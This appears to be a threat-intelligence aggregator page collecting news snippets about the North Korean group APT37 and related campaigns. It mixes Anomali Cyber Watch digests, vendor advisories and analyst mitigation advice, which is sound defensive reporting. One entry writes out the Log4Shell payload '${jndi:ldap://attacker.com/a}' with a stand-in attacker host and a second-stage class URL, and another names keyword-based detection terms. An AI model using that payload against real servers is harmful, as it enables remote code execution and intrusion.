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2022-05-03 16:31:00 | Anomali Cyber Watch: Time-to-Ransom Under Four Hours, Mustang Panda Spies on Russia, Ricochet Chollima Sends Goldbackdoor to Journalists, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, LNK files, Malspam, North Korea, Phishing, Ransomware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | |
Ransomware Malware Tool Vulnerability Threat Guideline Cloud | APT 37 APT 10 APT 10 | |
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2022-04-26 11:38:17 | Nation-state Hackers Target Journalists with Goldbackdoor Malware (lien direct) | A campaign by APT37 used a sophisticated malware to steal information about sources , which appears to be a successor to Bluelight. | Malware Cloud | APT 37 | |
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2022-04-26 10:13:51 | North Korea targets journalists with novel malware (lien direct) | State sponsored hackers operating out of North Korea have been targeting journalists with a novel malware strain, it has been revealed. The group, known as APT37, distribute the malware through a phishing attack originally discovered by NK news, a US news site specialising in covering news and providing research and analysis about North Korea, using […] | Malware Cloud | APT 37 | |
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2022-04-26 02:53:07 | North Korean Hackers Target Journalists with GOLDBACKDOOR Malware (lien direct) | A state-backed threat actor with ties to the Democratic People's Republic of Korea (DRPK) has been attributed to a spear-phishing campaign targeting journalists covering the country with the ultimate goal of deploying a backdoor on infected Windows systems. The intrusions, said to be the work of Ricochet Chollima, resulted in the deployment of a novel malware strain called GOLDBACKDOOR, an | Malware Threat Cloud | APT 37 | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 | |
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2021-12-07 22:33:02 | Warning: Yet Another Bitcoin Mining Malware Targeting QNAP NAS Devices (lien direct) | Network-attached storage (NAS) appliance maker QNAP on Tuesday released a new advisory warning of a cryptocurrency mining malware targeting its devices, urging customers to take preventive steps with immediate effect. "A bitcoin miner has been reported to target QNAP NAS. Once a NAS is infected, CPU usage becomes unusually high where a process named '[oom_reaper]' could occupy around 50% of the | Malware Cloud | APT 37 | |
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2021-12-07 16:04:00 | Anomali Cyber Watch: Nginx Trojans, BlackByte Ransomware, Android Malware Campaigns, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Ransomware, Maldocs, E-Commerce, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.
MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129
Tags: NginRAT, CronRAT, Nginx, North America, EU
How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.
Tags: Phishing, XBATLI
Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors
(pub |
Ransomware Malware Tool Vulnerability Threat Cloud | APT 37 | ★★★★ |
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2021-11-30 12:24:19 | North Korean Hackers Use New \'Chinotto\' Malware to Target Windows, Android Devices (lien direct) | Kaspersky has analyzed a new espionage campaign conducted by the threat actor named ScarCruft, and the security firm's researchers have uncovered a previously unknown malware that has been used to target Windows and Android devices. | Malware Threat Cloud | APT 37 | |
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2021-11-30 11:24:48 | Recent APT37 Activity and Chinotto, a Multi Platform Infostealer (lien direct) | FortiGuard Labs is aware of reports of recent activity from APT37. APT37 is a nation-state threat actor attributed to North Korea. The latest discovery by researchers at Kaspersky Labs has revealed a sophisticated, targeted attack that utilizes the stolen credentials from Facebook and email accounts belonging to an associate of the targeted victim.The victim was socially engineered and compelled into opening rar zipped attachments purporting to be from the trusted sender that contained a malicious Word document. The Word document is multi stage in design, and uses a malicious macro to initiate the first stage. The first stage detects the presence of AV software, and if AV is not present will initiate the second stage which is a shellcode that will download the final third stage payload.Ultimately, after several months of dwelling undetected on the infected system, the backdoor will then download the multiplatform infostealer, "Chinotto." Windows variants were sent via spearphishing emails and Android variants were sent via SMShing texts.What Operating Systems are Affected?Chinoto targets Windows and Android based operating systems.Is This Limited to Targeted Attacks?Yes.How Serious of an Issue is This?Medium.What is APT37?APT37 (also known as GROUP123 and Scarcruft), attributed to North Korean threat actors, has been in operation for several years. During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department. Si | Malware Threat Patching Cloud | APT 37 | |
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2021-11-29 08:43:29 | APT37 targets journalists with Chinotto multi-platform malware (lien direct) | North Korean state hacking group APT37 targets South Korean journalists, defectors, and human rights activists in watering hole, spear-phishing emails, and smishing attacks delivering malware dubbed Chinotto capable of infecting Windows and Android devices. [...] | Malware Cloud | APT 37 | |
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2021-11-10 14:11:03 | North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets (lien direct) |
By Jung soo An and Asheer Malhotra, with contributions from Kendall McKay.
Cisco Talos has observed a new malware campaign operated by the Kimsuky APT group since June 2021.Kimsuky, also known as Thallium and Black Banshee, is a North Korean state-sponsored advanced...
[[ This is only the beginning! Please visit the blog for the complete entry ]] |
Malware Cloud | APT 37 | |
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2021-08-24 17:11:00 | Anomali Cyber Watch: ProxyShell Being Exploited to Install Webshells and Ransomware, Neurevt Trojan Targeting Mexican Users, Secret Terrorist Watchlist Exposed, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT37 (InkySquid), BlueLight, Ransomware, T-Mobile Data Breach, Critical Vulnerabilities, IoT, Kalay, Neurevt, and ProxyShell. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag.
Trending Cyber News and Threat Intelligence
Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.
MITRE ATT&CK: [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Web Shell - T1100 | [MITRE ATT&CK] Hidden Files and Directories - T1158 | [MITRE ATT&CK] Source - T1153
Tags: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, Exchange, ProxyShell, backdoor
LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
(published: August 20, 2021)
A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC. The attackers appear to remain resident on the network for several |
Ransomware Malware Tool Vulnerability Threat Patching Cloud | APT 37 | |
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2021-08-18 01:33:33 | NK Hackers Deploy Browser Exploits on South Korean Sites to Spread Malware (lien direct) | A North Korean threat actor has been discovered taking advantage of two exploits in Internet Explorer to infect victims with a custom implant as part of a strategic web compromise (SWC) targeting a South Korean online newspaper.
Cybersecurity firm Volexity attributed the attacks to a threat actor it tracks as InkySquid, and more widely known by the monikers ScarCruft and APT37. Daily NK, the |
Malware Threat Cloud | APT 37 | |
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2020-11-02 16:40:03 | North Korea-Linked APT Group Kimsuky spotted using new malware (lien direct) | North Korea-linked APT group Kimsuky was recently spotted using a new piece of malware in attacks on government agencies and human rights activists. North Korea-linked cyber espionage group Kimsuky (aka Black Banshee, Thallium, Velvet Chollima) was recently observed using a new malware in attacks aimed at government agencies and human rights activists. The Kimsuky APT […] | Malware Cloud | APT 37 | |
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2019-05-13 16:46:00 | ScarCruft APT Adds Bluetooth Harvester to its Malware Bag of Tricks (lien direct) | In its latest observed campaign, there were also overlaps in victimology with the DarkHotel APT. | Malware | APT 37 | |
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2018-10-02 19:23:03 | NOKKI Malware Sports Mysterious Link to Reaper APT Group (lien direct) | The relationship between the malware and the APT group remains somewhat murky. | Malware | APT 37 | |
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2018-10-01 11:00:00 | Report Ties North Korean Attacks to New Malware, Linked by Word Macros (lien direct) | Newly discovered malware from the world of cyberespionage connects the dots between the tools and operations of the little-known Reaper group believed to act on behalf of the North Korean government. [...] | Malware Cloud | APT 37 | |
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2018-08-10 16:15:03 | The analysis of the code reuse revealed many links between North Korea malware (lien direct) | Security researchers at Intezer and McAfee have conducted a joint investigation that allowed them to collect evidence that links malware families attributed to North Korean APT groups such as the notorious Lazarus Group and Group 123. The experts focused their analysis on the code reuse, past investigations revealed that some APT groups share portions of code […] | Malware Medical Cloud | APT 38 APT 37 | |
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2018-08-09 13:00:01 | Examining Code Reuse Reveals Undiscovered Links Among North Korea\'s Malware Families (lien direct) | 
This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to …
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Malware Guideline Medical Cloud | APT 38 APT 37 | |
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2018-02-20 13:30:00 | APT37 (Reaper): l'acteur nord-coréen négligé APT37 (Reaper): The Overlooked North Korean Actor (lien direct) |
Le 2 février 2018, nous avons publié un Blog détaillant l'utilisation d'une vulnérabilité Adobe Flash Zero-Day (CVE-2018-4878) par un groupe de cyber-espionnage nord-coréen présumé que nous suivons maintenant comme APT37 (Reaper).
Notre analyse de l'activité récente d'APT37 \\ révèle que les opérations du groupe \\ se développent en portée et en sophistication, avec un ensemble d'outils qui comprend l'accès aux vulnérabilités zéro-jour et aux logiciels malveillants d'essuie-glace.Nous évaluons avec une grande confiance que cette activité est réalisée au nom du gouvernement nord-coréen compte tenu des artefacts de développement de logiciels malveillants et ciblant qui s'aligne sur l'État nord-coréen
On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Our analysis of APT37\'s recent activity reveals that the group\'s operations are expanding in scope and sophistication, with a toolset that includes access to zero-day vulnerabilities and wiper malware. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state |
Malware Vulnerability | APT 37 APT 37 | ★★★★ |
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